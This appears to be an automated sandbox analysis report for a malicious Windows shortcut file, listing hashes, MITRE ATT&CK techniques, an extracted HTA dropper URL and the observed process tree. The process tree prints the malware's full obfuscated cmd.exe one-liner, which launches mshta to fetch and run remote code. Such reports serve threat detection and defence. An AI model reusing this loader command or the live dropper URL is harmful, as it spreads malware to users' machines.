54838119a3e0fb4bea65ca42b2857ff321010d0c60ebaaac99e86a0b7a9e905c

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:33

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General

Target
DOC-S1A2BS.lnk
Size 2KB
Sample260804-kfx9ea1tcv
SHA256 54838119a3e0fb4bea65ca42b2857ff321010d0c60ebaaac99e86a0b7a9e905c
MD5 2bc1b980d23957ee9608d2a022cc848c
SHA1 db66f7c8ff9a9a69dd040878c69ff5ac6f6720a2
SHA512 fd2ee0b7dd76ee3189080ab975aa0acfce2b0bb618d8621f06113b307d77d1c00e0e754aa7be6b920d9d7a265072939cc91e7168e0c3b3b321bc331f095a53f9
TLSH
T1014146403EDD01E8F2BB5E72EDBE1B9049BFF8626D31C64E0850818D5922705E577F26
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4504	cmd.exe
1332	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 1332	4504	cmd.exe	89
PID 1332 wrote to memory of 3100	1332	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-S1A2BS.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4504
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set HyY=gd2mshuyj&&set ZGBT=vt4ys&&set dY=8xsao9&set VMPJ=dbgkddejqadbg&set eOT=syskzgyxxdfyulsys&set tYeu=tmpyxzwvlshnjcptmp&set bCfk=dbgtelqxldbg&set LOHZx=cfgggslscfg&set uVj=dbghwbuxbtamezeprsaedbg&set ONA=zfstalg&&set Lx=gvrtcm&set UoN=datixufnhqmnbttpardat&set xbp=neteroswranncenet&set ha=oldgrxzirold&set rggti=syshfzgqilqpdisys&&set wjSA=h@tt@p@s:@//@ma@-pd@ffiller.@la@t/h/@e@s@tagi@o1.@ph@p@?r=3@91469FB@5D@82@DB&&start /b !HyY:~3,3!!ZGBT:~1,1!!dY:~3,1! !wjSA:@=!&&set sjtJ=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads